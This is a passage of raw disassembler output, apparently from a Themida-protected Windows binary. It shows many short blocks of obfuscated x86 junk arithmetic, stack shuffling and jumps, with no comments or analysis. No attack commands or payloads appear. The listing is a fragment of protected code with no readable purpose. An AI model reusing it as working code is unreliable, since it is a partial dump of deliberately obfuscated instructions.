XREF: sub_59196D-FEDj jnp loc_58BA76 add eax, 60CA14C6h jmp loc_597E0C ; --------------------------------------------------------------------------- add edi, ebp loc_592736: ; CODE XREF: sub_59196D-3F2j add ebx, 61BB3840h mov ebp, ebx pop ebx add eax, ebp pop ebp sub eax, 4F93734Fh sub eax, ecx add eax, 4F93734Fh sub esp, 4 mov [esp+18h+var_1A+2], ecx push edx mov edx, 0E4D67BCh add edx, 3B25AF77h mov ecx, edx pop edx sub eax, ecx pop ecx pop ecx xor ebx, eax movzx ax, byte ptr [eax] push 4433h jmp loc_59525D ; --------------------------------------------------------------------------- loc_59277A: ; CODE XREF: sub_59196D+248Cj and bh, 1Eh jmp loc_592277 ; --------------------------------------------------------------------------- loc_592782: ; CODE XREF: sub_59196D-572Ej push [esp+0Ch+var_C] pop ebx add esp, 4 jmp loc_58EB5F ; --------------------------------------------------------------------------- loc_59278E: ; CODE XREF: sub_59196D-F6Bj xor ecx, 1EFF2096h push edx jmp loc_5922DF ; --------------------------------------------------------------------------- loc_59279A: ; CODE XREF: sub_59196D-823j pop eax jmp loc_58FBC7 ; --------------------------------------------------------------------------- loc_5927A0: ; CODE XREF: sub_59196D+3491j add bl, 18h jl loc_5975CC jmp loc_58D838 ; --------------------------------------------------------------------------- loc_5927AE: ; DATA XREF: Themida_:0058B204o lodsb push small 7002h mov word ptr [esp+34h+var_36+2], bx push eax mov ah, 3Ah jmp loc_5968D6 ; --------------------------------------------------------------------------- loc_5927BF: ; CODE XREF: sub_59196D+3BE3j xchg eax, [esp+0] pop edx push esi jmp loc_58FA9D ; --------------------------------------------------------------------------- loc_5927C9: ; CODE XREF: sub_59196D+5994j pop bx sub al, 6Dh push bx push eax push ecx jmp loc_5913D4 ; --------------------------------------------------------------------------- loc_5927D6: ; CODE XREF: sub_58B76A+12j push ecx mov cl, 9 neg cl add cl, 0A8h jmp loc_597516 ; --------------------------------------------------------------------------- loc_5927E3: ; CODE XREF: sub_59196D:loc_590B5Ej or eax, 9687297h jg loc_58D508 inc eax jmp loc_592D0B ; --------------------------------------------------------------------------- mov [esp+4+var_4], ebx mov esi, esi push esp loc_5927FA: ; CODE XREF: sub_59196D-5F80j ; sub_59196D+2632j xchg edx, [esp+8+var_8] pop esp push [esp+4+var_4] mov ecx, [esp+8+var_8] add esp, 4 push esi mov esi, esp jmp loc_590AC2 ; --------------------------------------------------------------------------- loc_592812: ; CODE XREF: sub_59196D-1247j push ecx mov ecx, 72813B51h not ecx shr ecx, 3 sub ecx, 0E0A6BDB1h jmp loc_58D9D0 ; --------------------------------------------------------------------------- loc_592828: ; CODE XREF: sub_59196D-5BAFj mov edx, 7D722E8h add edx, 281C2FA6h jmp loc_595BB9 ; --------------------------------------------------------------------------- loc_592838: ; CODE XREF: Themida_:0058BCD4j mov eax, 6B408C5h not eax xor eax, 5A8C242Ah add eax, 56853373h sub esp, 4 mov [esp+32h+var_32], ecx mov ecx, 0C9A4C341h sub eax, ecx pop ecx jmp loc_58CE22 ; --------------------------------------------------------------------------- loc_59285C: ; CODE XREF: sub_59196D+1179j mov edx, 7CC154FFh push ecx push esi push 6DE6h mov [esp+3Ah+var_3C+2], edi mov edi, 2CA23BEFh mov esi, edi jmp loc_58B87A ; --------------------------------------------------------------------------- loc_592877: ; CODE XREF: Themida_:00590EEFj pop edx add edx, 4 add edx, 4 xchg edx, [esp+36h+var_36] pop esp push 0 sub [esp+36h+var_36], ebp pop ebp jmp loc_58B638 ; --------------------------------------------------------------------------- loc_592893: ; CODE XREF: sub_59196D+36AAj push eax mov eax, 5206604Ch xor esi, eax pop eax and esi, 257256BEh shr esi, 5 xor esi, 12182A5h add eax, esi mov esi, [esp+32h+var_32] add esp, 4 push edx mov edx, 4 push edx mov edx, 62354DE0h sub eax, edx pop edx jmp loc_58D4BF ; --------------------------------------------------------------------------- loc_5928C7: ; CODE XREF: sub_59196D+15C2j sub esi, 5D5773FBh sub edi, 7D1F7AA1h sub edi, esi add edi, 7D1F7AA1h pop esi push edi mov eax, [esp+32h+var_32] push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+36h+var_36] pop esp mov edi, [esp+32h+var_32] add esp, 4 sub esp, 4 jmp loc_594A66 ; --------------------------------------------------------------------------- loc_5928FF: ; CODE XREF: sub_59196D+6C39j neg ebp dec ebp jmp loc_593B95 ; --------------------------------------------------------------------------- loc_592907: ; CODE XREF: sub_59196D+1D33j push 6C9Eh jmp loc_5966BC ; --------------------------------------------------------------------------- loc_592911: ; CODE XREF: Themida_:005901BFj ; sub_591077+6j push edi mov edi, 0D635B51h push edx mov edx, 4C2F29B8h or edi, edx pop edx shl edi, 8 or edi, 3815714Ch shr edi, 3 push ebx mov ebx, 5044314Bh jmp loc_58D3EA ; --------------------------------------------------------------------------- loc_592937: ; CODE XREF: sub_59196D-2EB3j pop ebx jmp loc_591CFC ; --------------------------------------------------------------------------- loc_59293D: ; CODE XREF: sub_59196D+29Cj pop esi push 7C4Bh jmp loc_58BC00 ; --------------------------------------------------------------------------- loc_592948: ; CODE XREF: sub_59196D+2054j sub edx, 64E15FC8h push ecx mov ecx, 3926AACh jmp loc_5973B1 ; --------------------------------------------------------------------------- loc_592959: ; CODE XREF: sub_59196D+5173j mov ebp, 70DA76C5h sub ebp, 9F57982Fh sub edi, ebp pop ebp sub esi, edi jmp loc_590885 ; --------------------------------------------------------------------------- loc_59296E: ; CODE XREF: sub_59196D+244Bj sub esp, 4 jmp loc_58F52A ; --------------------------------------------------------------------------- loc_592979: ; CODE XREF: sub_59196D+558Dj or edx, ecx pop ecx push ebx mov ebx, 59062249h inc ebx shl ebx, 6 jmp loc_595F5F ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592993: ; CODE XREF: sub_59196D-1903j mov [esp+0Ch+var_C], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], esp add [esp+8+var_8], 4 push [esp+8+var_8] jmp loc_596435 ; --------------------------------------------------------------------------- loc_5929B7: ; CODE XREF: sub_59196D+3101j pop ecx and eax, ecx push [esp+8+var_8] pop ecx jmp loc_58BB1D ; --------------------------------------------------------------------------- loc_5929C3: ; CODE XREF: sub_59196D+2B92j mov [esp+8+var_8], esi not [esp+8+var_8] pop esi xor ebx, esi jmp loc_592718 ; --------------------------------------------------------------------------- loc_5929D1: ; CODE XREF: sub_59196D+67DBj pop ebp and eax, ebx pop ebx or eax, eax jz loc_59709D push 1D4Bh mov [esp+0], esi mov esi, esp jmp loc_593A52 ; --------------------------------------------------------------------------- loc_5929EC: ; CODE XREF: sub_59196D-3580j add esp, 4 pop [esp+2Ch+var_2E+2] mov esp, [esp+28h+var_2A+2] sub byte ptr [esp+28h+var_2A+2], al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5929FE: ; CODE XREF: sub_58D10E+915j xor [esp+2Ch+var_2E+2], edx xor edx, [esp+2Ch+var_2E+2] pop esp mov dx, word ptr [esp+28h+var_2A+2] push 5D3Ch mov [esp+2Ch+var_2E+2], eax push esp mov eax, [esp+30h+var_32+2] add esp, 4 jmp loc_5933BC ; --------------------------------------------------------------------------- mov cx, word ptr [esp+2Ch+var_2E+2] jmp loc_590EFA ; --------------------------------------------------------------------------- loc_592A26: ; CODE XREF: sub_59196D-3DAj add esi, 4 jmp loc_594C8A ; --------------------------------------------------------------------------- loc_592A2E: ; CODE XREF: sub_59196D-45CCj ; sub_59196D+1FE0j mov [esp+44h+var_44], ecx mov cl, 6Bh dec cl jmp loc_58C22F ; --------------------------------------------------------------------------- loc_592A3A: ; CODE XREF: sub_59196D+512Aj pop edi add esp, 4 add ebp, 4 jmp sub_58F5C1 ; --------------------------------------------------------------------------- loc_592A4C: ; CODE XREF: sub_59196D-1E82j add ecx, 4 add ecx, 4 jmp loc_58D06B ; --------------------------------------------------------------------------- loc_592A5D: ; CODE XREF: sub_59196D+C47j sub edx, 6F752D81h add edx, edi push edx mov edx, esp push eax mov eax, 1ECC0701h add eax, 47E57CCDh sub eax, 5A9E6669h add eax, 0F3ECE29Fh add edx, eax pop eax push esi jmp loc_591D2B ; --------------------------------------------------------------------------- loc_592A86: ; CODE XREF: sub_59196D-1957j ; sub_59196D+2EAEj mov edi, 44A70AC9h dec edi add edi, 0BB58F53Ch add edx, edi push [esp+12h+var_12] mov edi, [esp+16h+var_16] add esp, 4 add esp, 4 jmp loc_5971A9 ; --------------------------------------------------------------------------- loc_592AA8: ; CODE XREF: sub_59196D-61CEj neg dh shr dh, 7 sub dh, 7Dh or dh, 6Bh add dh, 0ADh xor dh, 0DEh jmp loc_591EAB ; --------------------------------------------------------------------------- lodsb push 7664h jmp loc_597E9C ; --------------------------------------------------------------------------- loc_592AC9: ; CODE XREF: sub_59196D+515Aj push edx mov edx, 12355CFh mov ebp, 2A24527Dh xor ebp, edx pop edx dec ebp push ecx jmp loc_598199 ; --------------------------------------------------------------------------- loc_592ADE: ; DATA XREF: Themida_:0058B200o mov ax, word ptr [esp+28h+var_2A+2] push ebx mov ebx, esp push edx jmp loc_59285C ; --------------------------------------------------------------------------- loc_592AEB: ; CODE XREF: sub_59196D-26EEj pop eax jmp loc_591873 ; --------------------------------------------------------------------------- loc_592AF1: ; CODE XREF: sub_58D7D7+2968j xor edx, 58217C5Bh or edx, 580900CAh shl edx, 4 jmp loc_59120B ; --------------------------------------------------------------------------- loc_592B05: ; CODE XREF: sub_59196D+C1Dj mov eax, 22BD6BDCh mov ebx, eax pop eax shr ebx, 5 jmp loc_58DC37 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0Ch+var_C] push edi push esp mov edi, [esp+14h+var_16+2] add esp, 4 push ebx push edi mov edi, 4 mov ebx, edi pop edi jmp loc_58F8CE ; --------------------------------------------------------------------------- mov cx, word ptr [esp+14h+var_16+2] push 3DF7h mov [esp+18h+var_1A+2], eax push 7D73h mov [esp+1Ch+var_1E+2], esp add [esp+1Ch+var_1E+2], 4 pop eax push ebp mov ebp, 4 add eax, 14B1763h jmp loc_593E12 ; --------------------------------------------------------------------------- loc_592B5C: ; CODE XREF: sub_59196D-2AE1j mov ax, [esp+0] sub esp, 4 mov [esp+4+var_4], eax sub esp, 4 mov [esp+8+var_8], esp sub esp, 4 mov [esp+0Ch+var_C], esi mov esi, 4 add [esp+0Ch+var_8], esi pop esi mov eax, [esp+8+var_8] add esp, 4 add eax, 4 push ecx mov ecx, 2 push edx mov edx, 6BF749A8h add eax, edx pop edx jmp loc_58C49D ; --------------------------------------------------------------------------- loc_592BA4: ; CODE XREF: sub_59196D-6139j pop esi sub esp, 4 mov [esp+14h+var_16+2], ebp push edx mov edx, 7A4772F7h jmp loc_59384F ; --------------------------------------------------------------------------- loc_592BB9: ; CODE XREF: sub_59196D+5284j sub ebx, 74B36A0Fh jmp loc_5977D3 ; --------------------------------------------------------------------------- loc_592BC4: ; CODE XREF: sub_59196D+47D7j push [esp+18h+var_16+2] jmp loc_593AD8 ; --------------------------------------------------------------------------- loc_592BCD: ; CODE XREF: sub_59196D+4083j pop ebp jmp loc_591A40 ; --------------------------------------------------------------------------- loc_592BD3: ; CODE XREF: sub_59196D:loc_594F15j and ebx, 45FF143Ah jnz loc_58FECD sub ebx, 60A843AAh jmp loc_5936DE ; --------------------------------------------------------------------------- loc_592BEA: ; CODE XREF: sub_59196D+4F5j mov ebp, [esp+0Ah+var_C+2] add esp, 4 sub esp, 4 mov [esp+0Ah+var_C+2], eax mov eax, 4C1761D0h neg eax jmp loc_58DF29 ; --------------------------------------------------------------------------- loc_592C05: ; CODE XREF: sub_59196D+4553j xor [esp+0Ah+var_C+2], eax xor eax, [esp+0Ah+var_C+2] pop esp loc_592C0C: ; CODE XREF: sub_59196D-7DAj push 7E16h mov [esp+0Ah+var_C+2], edi jmp loc_591EDA ; --------------------------------------------------------------------------- loc_592C19: ; CODE XREF: sub_59196D+2003j add eax, 36B9EB28h xor edi, eax pop eax jmp loc_5945FC ; --------------------------------------------------------------------------- loc_592C26: ; CODE XREF: sub_59196D+3D6Bj sub esp, 4 mov [esp+0Ah+var_C+2], esp add [esp+0Ah+var_C+2], 4 jmp loc_59785D ; --------------------------------------------------------------------------- loc_592C38: ; CODE XREF: sub_59196D:loc_58DE16j ; sub_59196D+58DAj pop ebp sub esp, 4 jmp loc_590CCB ; --------------------------------------------------------------------------- loc_592C41: ; CODE XREF: sub_59196D-5BEBj xor ecx, 6BE52D20h add ebp, ecx pop ecx push ebx jmp loc_59501C ; --------------------------------------------------------------------------- loc_592C50: ; CODE XREF: sub_59196D+5E7Cj push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_593EFA ; --------------------------------------------------------------------------- loc_592C64: ; CODE XREF: sub_59196D+1DE4j pop edx add edx, 4 add edx, 4 push edx jmp loc_58B95E ; --------------------------------------------------------------------------- loc_592C77: ; CODE XREF: sub_59196D-534Fj pop eax push ebp push [esp+1Ch+var_1A+2] pop ebp pop [esp+1Ch+var_1E+2] pop esp add esp, 4 movsx ecx, al push ecx jmp sub_591000 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+14h+var_16+2] push esi jmp loc_58CB43 ; --------------------------------------------------------------------------- loc_592C9B: ; CODE XREF: sub_59196D-CFCj add edx, 5B1258F4h add edx, esi jmp loc_58DAFA ; --------------------------------------------------------------------------- loc_592CA8: ; CODE XREF: sub_59196D+93Ej xor esi, 2C7304FDh sub esi, 1D035B28h push ebx jmp loc_594723 ; --------------------------------------------------------------------------- loc_592CBA: ; CODE XREF: sub_59196D:loc_58E9EEj add eax, 0E120F20Fh mov ecx, eax pop eax mov edi, ecx jmp loc_5906B1 ; --------------------------------------------------------------------------- loc_592CC9: ; CODE XREF: sub_59196D-1D1Fj pop ebx jmp loc_58F336 ; --------------------------------------------------------------------------- loc_592CCF: ; CODE XREF: sub_59196D+2950j mov edx, 2 jmp loc_598254 ; --------------------------------------------------------------------------- loc_592CD9: ; CODE XREF: sub_59196D-1CB0j push esi jmp loc_5901F8 ; --------------------------------------------------------------------------- loc_592CDF: ; CODE XREF: sub_59196D-4087j ; sub_59196D+4988j pop esp add edi, 4 add edi, 2 jmp loc_590F33 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+2Eh+var_2E] sub esp, 4 mov [esp+32h+var_32], eax jmp loc_596D75 ; --------------------------------------------------------------------------- loc_592CFD: ; CODE XREF: sub_59196D+1FF5j push edx mov edx, 57242CA9h xor ecx, edx pop edx jmp loc_591A59 ; --------------------------------------------------------------------------- loc_592D0B: ; CODE XREF: sub_59196D+E82j ; sub_59196D+5BDDj mov edx, 7DD45C4Fh jmp loc_5976FB ; --------------------------------------------------------------------------- loc_592D15: ; CODE XREF: sub_59196D-31D6j add dh, 21h xor dh, 0C5h push ebx mov bh, dh mov al, bh pop ebx pop edx xor al, cl jmp loc_58CCA8 ; --------------------------------------------------------------------------- loc_592D29: ; CODE XREF: sub_59196D-181Cj add eax, ebp mov ebp, [esp+20h+var_22+2] push ebp jmp loc_58E656 ; --------------------------------------------------------------------------- loc_592D34: ; CODE XREF: sub_58CF35+5j push ecx jmp loc_597A68 ; --------------------------------------------------------------------------- loc_592D3A: ; CODE XREF: sub_59196D+4048j not edi shr edi, 3 add edi, 144A9465h sub eax, edi pop edi sub eax, ebx push esi mov esi, 1E694DD6h jmp loc_58C808 ; --------------------------------------------------------------------------- loc_592D55: ; DATA XREF: Themida_:0058B0C8o mov cx, word ptr [esp+28h+var_2A+2] push 56FEh mov [esp+2Ch+var_2E+2], ebp jmp loc_593C05 ; --------------------------------------------------------------------------- loc_592D66: ; CODE XREF: sub_59196D:loc_58EA09j ; sub_59196D+4BDCj pop esi dec eax and eax, 31F3377Eh add eax, 46A34E1Ch or eax, 34910B73h push 658Dh jmp loc_5931BF ; --------------------------------------------------------------------------- loc_592D81: ; CODE XREF: sub_59196D-3FA2j sub esi, 0BBCB5B60h jmp loc_59112A ; --------------------------------------------------------------------------- loc_592D8C: ; CODE XREF: sub_59196D+60DAj add esp, 4 push 3D16h mov [esp+14h+var_16+2], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+14h+var_16+2] pop esp xor eax, ebp xor ebp, eax xor eax, ebp push 1165h mov [esp+14h+var_16+2], ebx mov ebx, 1 and eax, ebx push [esp+14h+var_16+2] pop ebx sub esp, 4 mov [esp+18h+var_1A+2], esi mov esi, esp push 1333h mov [esp+1Ch+var_1E+2], eax mov eax, 3A0773F5h xor eax, 0C7E7A59h not eax jmp loc_58F487 ; --------------------------------------------------------------------------- loc_592DE6: ; CODE XREF: sub_59196D+5B8Bj add ebx, edx pop edx mov dword ptr [ebx], 0 mov ebx, [esp+18h+var_1A+2] push 2DCBh mov [esp+1Ch+var_1E+2], esi mov esi, esp jmp loc_58FC5B ; --------------------------------------------------------------------------- loc_592E01: ; CODE XREF: sub_59196D+5E0Dj ; sub_59196D+6C9Bj xchg edi, [esp+1Ch+var_1E+2] pop esp jmp loc_59517A ; --------------------------------------------------------------------------- loc_592E0A: ; CODE XREF: Themida_:0058E3C6j push edx jmp loc_59301C ; --------------------------------------------------------------------------- loc_592E10: ; CODE XREF: sub_59196D-587Fj mov ebp, [esp+8+var_8] add esp, 4 push esi mov esi, 2 add eax, esi pop esi sub esp, 4 mov [esp+8+var_8], eax push [esp+8+var_4] mov eax, [esp+0Ch+var_C] jmp loc_58FDDF ; --------------------------------------------------------------------------- loc_592E34: ; CODE XREF: sub_59196D+2FE7j pop edi xor edi, 2D2B71E3h pop ebx mov esi, 0E6734EFBh sub esi, edi pop edi shl esi, 1 jmp loc_5971EE ; --------------------------------------------------------------------------- loc_592E4B: ; DATA XREF: Themida_:0058B0E0o mov ax, [esp+0] jmp sub_591344 ; --------------------------------------------------------------------------- loc_592E54: ; CODE XREF: sub_59196D+44B6j sub ebp, eax pop eax xchg ebp, [esp-4+arg_0] mov esp, [esp-4+arg_0] mov [esp-4+arg_0], ebx add [esp-4+arg_0], 766A0C77h mov eax, [esp-4+arg_0] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] jmp loc_5984B6 ; --------------------------------------------------------------------------- loc_592E7E: ; CODE XREF: sub_590F7A+9j inc dword ptr [esp+0] pop esi xor esi, 55754E6Eh push ebp mov ebp, 76D94DE2h sub ebp, 31F5E2ACh add esi, ebp pop ebp sub esi, 6D44BA69h push ebx mov ebx, esi mov ecx, ebx pop ebx push [esp-4+arg_0] pop esi push eax jmp loc_594B86 ; --------------------------------------------------------------------------- loc_592EAD: ; CODE XREF: sub_59196D-55B3j ; sub_59196D-54B9j push 1B0Ah mov [esp+18h+var_1A+2], eax push eax mov eax, 18072CB9h add [esp+1Ch+var_1A+2], eax pop eax mov eax, [esp+18h+var_1A+2] add esp, 4 push esi push 5F61h mov [esp+1Ch+var_1E+2], edx mov edx, esp jmp loc_5954F1 ; --------------------------------------------------------------------------- loc_592ED6: ; CODE XREF: sub_591344-2DE2j neg edx xor edx, 0A152E79Fh add ebp, 3160611Eh sub ebp, edx jmp loc_58D302 ; --------------------------------------------------------------------------- push [esp+1Ch+var_1E+2] pop eax push 3E4Dh mov [esp+20h+var_22+2], esi mov esi, esp push edx jmp loc_58FBDA ; --------------------------------------------------------------------------- loc_592EFF: ; CODE XREF: sub_59196D+46FFj add eax, 7381530h push [esp+24h+var_26+2] pop ebx add esp, 4 add eax, 2 jmp loc_58D1C4 ; --------------------------------------------------------------------------- loc_592F15: ; CODE XREF: sub_59196D-15BDj push ebx jmp loc_58D7EA ; --------------------------------------------------------------------------- loc_592F1B: ; CODE XREF: sub_59196D+41E8j add esp, 4 dec esi jmp loc_58BEF4 ; --------------------------------------------------------------------------- loc_592F27: ; CODE XREF: sub_59196D+24Fj push 336E4089h pop esi not esi jmp loc_5928C7 ; --------------------------------------------------------------------------- loc_592F34: ; CODE XREF: sub_59196D+262Bj push esi jmp loc_595959 ; --------------------------------------------------------------------------- loc_592F3A: ; CODE XREF: sub_59196D-59Ej mov esi, 6C727119h shr esi, 5 and esi, 752D5ED6h jmp loc_594D6C ; --------------------------------------------------------------------------- loc_592F4D: ; CODE XREF: sub_59196D+552Aj xor esi, 2B7B0F78h js loc_5901A2 push edi jmp loc_58E33C ; --------------------------------------------------------------------------- loc_592F5F: ; CODE XREF: sub_59196D-5125j add edi, 8E84E35Ch jmp loc_597C2B ; --------------------------------------------------------------------------- loc_592F6A: ; CODE XREF: sub_59196D-36A9j xor ebx, eax mov dx, word ptr [esp+3Eh+var_40+2] push ecx jmp loc_58CF87 ; --------------------------------------------------------------------------- loc_592F76: ; CODE XREF: sub_59196D-5DF8j ; sub_59196D+265Fj pop edx neg esi or esi, 35B72A8Eh push eax mov eax, 707316DDh or eax, 7AF2788Fh add eax, 0CA17FE40h jmp loc_5977A8 ; --------------------------------------------------------------------------- loc_592F94: ; CODE XREF: sub_59196D-2509j inc eax or eax, 2A393560h jmp loc_58E13A ; --------------------------------------------------------------------------- loc_592F9F: ; CODE XREF: sub_59196D+4AE1j mov esp, [esp+2+var_4+2] mov cx, word ptr [esp+2+var_4+2] jmp loc_58C829 ; --------------------------------------------------------------------------- loc_592FAB: ; CODE XREF: sub_58C3EF+3CA9j xor edi, 538776FFh neg edi xor edi, 4555013Ah sub edi, 15AC90B1h sub ebx, edi mov edi, [esp+2+var_4+2] add esp, 4 jmp loc_58BD34 ; --------------------------------------------------------------------------- loc_592FCC: ; CODE XREF: sub_59196D+4859j add dh, 0EFh not dh add dh, 0FDh sub al, 0Ah add al, dh add al, 0Ah pop edx pop edx push ecx push ebx mov bh, 46h shl bh, 1 xor bh, 3Fh jmp loc_58B421 ; --------------------------------------------------------------------------- loc_592FEA: ; CODE XREF: sub_59196D-3DDEj push 54110F11h pop ebx and ebx, 7B7B5567h xor ebx, 32861A84h mov ebp, ebx jmp loc_591E4F ; --------------------------------------------------------------------------- loc_593003: ; CODE XREF: sub_59196D-E95j mov [esp+10h+var_12+2], ecx mov ecx, 765664F1h xor ecx, 765664F5h add esi, ecx pop ecx xchg esi, [esp+0Ch+var_C] jmp loc_58E23F ; --------------------------------------------------------------------------- loc_59301C: ; CODE XREF: sub_59196D+149Ej mov dh, 0D1h xor dh, 0F0h add al, dh pop edx push ecx jmp loc_595ED5 ; --------------------------------------------------------------------------- loc_59302A: ; CODE XREF: sub_59196D-589Cj mov ah, 3Bh push bx mov bh, 4 add ch, bh pop bx add ch, ah sub ch, 4 pop eax add al, ch pop ecx sub bl, 0Eh sub bl, 93h add bl, 0D7h add bl, al push eax mov ah, 8Ah sub ah, 95h and ah, 0E1h not ah jmp loc_58FCB0 ; --------------------------------------------------------------------------- loc_593058: ; CODE XREF: sub_59196D+1F8Dj add edi, 4 add edi, 4 xchg edi, [esp+4+var_4] jmp loc_596DB0 ; --------------------------------------------------------------------------- loc_593069: ; CODE XREF: sub_59196D-65A7j pop esp jmp loc_5944F4 ; --------------------------------------------------------------------------- loc_59306F: ; CODE XREF: sub_59196D-1B30j push 758Bh mov [esp+18h+var_1A+2], edx mov edx, esp sub esp, 4 jmp loc_58D714 ; --------------------------------------------------------------------------- loc_593081: ; CODE XREF: sub_59196D-256Ej pop ecx add ebp, 2 xor ebp, [esp-0Eh+arg_8+2] jmp loc_58DDC2 ; --------------------------------------------------------------------------- loc_593090: ; CODE XREF: Themida_:0058D687j push edi jmp loc_59705B ; --------------------------------------------------------------------------- loc_593096: ; CODE XREF: sub_59196D-31BDj push esi push [esp+14h+var_12+2] push [esp+18h+var_1A+2] pop esi sub esp, 4 mov [esp+1Ch+var_1E+2], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+1Ch+var_1E+2] pop esp pop [esp+18h+var_1A+2] pop esp xor byte ptr [esp+10h+var_12+2], al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5930C1: ; CODE XREF: sub_5917FA-2D89j dec bh and bh, 0C4h shl bh, 3 dec bh push dx mov dl, 63h jmp loc_58D393 ; --------------------------------------------------------------------------- loc_5930D4: ; CODE XREF: sub_59196D-3AA7j pop esp loc_5930D5: ; CODE XREF: sub_59196D-1791j push 63F6h jmp loc_591BA7 ; --------------------------------------------------------------------------- loc_5930DF: ; CODE XREF: sub_59196D+1F1Fj not ecx xor [esp+34h+var_36+2], ecx xor ecx, [esp+34h+var_36+2] xor [esp+34h+var_36+2], ecx mov ebp, [esp+34h+var_36+2] add esp, 4 push eax push ebp pop eax mov ebp, [esp+34h+var_36+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp push 503Bh mov [esp+0], ecx push 79A3h mov [esp+3Ch+var_3C], edi push ebx mov ebx, 2607428Ch shl ebx, 2 jmp loc_595330 ; --------------------------------------------------------------------------- loc_593127: ; CODE XREF: sub_59196D-F5Ej mov edx, 7A449C6h push edx not [esp+14h+var_16+2] jmp loc_5910E9 ; --------------------------------------------------------------------------- loc_593135: ; CODE XREF: sub_59196D-3510j xchg edi, [esp+40h+var_40] pop esp sub ecx, edx pop edx xchg ecx, [esp+0] pop esp jmp loc_58EB56 ; --------------------------------------------------------------------------- loc_593145: ; CODE XREF: sub_59196D-487j push 7311h mov [esp+12h+var_12], ebx push 2B8h mov [esp+16h+var_16], edx mov dh, 7Fh mov bl, dh mov edx, [esp+16h+var_16] add esp, 4 push edx mov dh, bl mov ch, dh pop edx push [esp+12h+var_12] mov ebx, [esp+16h+var_16] add esp, 4 add esp, 4 add al, 40h add al, ch jmp loc_590AEA ; --------------------------------------------------------------------------- loc_593180: ; CODE XREF: sub_59196D+631Dj pop edx pop ebx add al, 70h jmp loc_590D54 ; --------------------------------------------------------------------------- loc_593189: ; CODE XREF: Themida_:0058FDABj or ecx, 520B68F3h shr ecx, 1 sub ecx, 397FB677h add eax, ecx jmp loc_58D1BB ; --------------------------------------------------------------------------- loc_59319E: ; CODE XREF: sub_59196D+5D89j xor [esp+6+var_8+2], ebx xor ebx, [esp+6+var_8+2] pop esp rol word ptr [esp+2+var_4+2], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5931AF: ; CODE XREF: sub_59196D+6060j add eax, edi jmp loc_593998 ; --------------------------------------------------------------------------- loc_5931B6: ; CODE XREF: sub_59196D-5A34j neg edi not edi jmp loc_59040F ; --------------------------------------------------------------------------- loc_5931BF: ; CODE XREF: sub_59196D+140Fj mov [esp+1Ch+var_1E+2], ebp mov ebp, 3DEE0C06h or eax, ebp pop ebp push ebx jmp loc_598217 ; --------------------------------------------------------------------------- loc_5931D0: ; CODE XREF: sub_59196D:loc_594B2Aj shl ebp, 6 jns loc_58E367 jmp loc_595808 ; --------------------------------------------------------------------------- loc_5931DE: ; CODE XREF: sub_58B85F+5079j add edi, esi push [esp+1Ch+var_1E+2] pop esi add esp, 4 jmp loc_58CF67 ; --------------------------------------------------------------------------- loc_5931EF: ; CODE XREF: sub_59196D+11Fj mov edx, 0 push edi mov edi, edx jmp loc_595CBA ; --------------------------------------------------------------------------- loc_5931FC: ; CODE XREF: sub_59196D-20B3j push edx jmp loc_595F82 ; --------------------------------------------------------------------------- loc_593202: ; CODE XREF: sub_59196D-2A79j pop edi push eax push 580C573Bh pop eax add eax, 24F12760h xor edx, eax pop eax sub edx, 7ED97A3Eh add edx, edi add edx, 7ED97A3Eh push ebx jmp loc_58E10D ; --------------------------------------------------------------------------- loc_593226: ; CODE XREF: sub_59196D+43F4j xchg ebp, edx not ebp xchg ebp, edx add edx, 14D6824h jmp loc_59228E ; --------------------------------------------------------------------------- loc_593237: ; CODE XREF: sub_59196D-5A76j push esi inc [esp+18h+var_1A+2] pop esi add esi, 0FFFFFFFFh push ebp mov ebp, 984ECAEAh sub esi, ebp pop ebp jmp loc_58D12F ; --------------------------------------------------------------------------- loc_593250: ; CODE XREF: sub_59196D+33D9j push ebx jmp loc_596F3A ; --------------------------------------------------------------------------- loc_593256: ; CODE XREF: sub_59196D-123Fj add dword ptr [edi+20h], 10A44600h sub esp, 4 jmp loc_591C8C ; --------------------------------------------------------------------------- loc_593268: ; CODE XREF: sub_59196D+6BCBj and cl, 8Fh dec cl jmp loc_58CD3F ; --------------------------------------------------------------------------- loc_593272: ; CODE XREF: sub_59196D-5F41j xchg edx, [esp+20h+var_22+2] pop esp push edi mov edi, esp add edi, 4 add edi, 4 push 3F69h jmp loc_58DE97 ; --------------------------------------------------------------------------- loc_59328F: ; CODE XREF: sub_59196D-2972j sub eax, 663953F0h push esi mov esi, 149B465Eh sub eax, esi pop esi sub esp, 4 mov [esp-10h+arg_C], edx push esi jmp loc_58B438 ; --------------------------------------------------------------------------- loc_5932AC: ; CODE XREF: sub_58ED05+20j ; sub_59196D+1C2Ej add ebx, esi pop esi xchg ebx, [esp-10h+arg_C] pop esp add edi, 2 xchg edi, [esp-14h+arg_10] jmp loc_58CE86 ; --------------------------------------------------------------------------- loc_5932BE: ; CODE XREF: sub_59196D-3BB0j not edi add edi, 96FF9EE7h add edx, edi pop edi push ebx mov ebx, 4 jmp loc_58E1F4 ; --------------------------------------------------------------------------- loc_5932D4: ; CODE XREF: sub_59196D+5598j inc al jmp loc_5943E1 ; --------------------------------------------------------------------------- loc_5932DB: ; CODE XREF: sub_59196D-39F5j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5932E0: ; CODE XREF: sub_59196D-FA2j ; sub_59196D+408Aj mov edx, [esp+12h+var_12] jmp loc_593A24 ; --------------------------------------------------------------------------- loc_5932E8: ; CODE XREF: sub_591526+Ej or eax, 5E2C7108h jmp loc_5926B0 ; --------------------------------------------------------------------------- loc_5932F2: ; CODE XREF: sub_59196D:loc_58F2C8j inc edx jl loc_58D2FD jmp loc_58F780 ; --------------------------------------------------------------------------- push edi mov ebp, esi 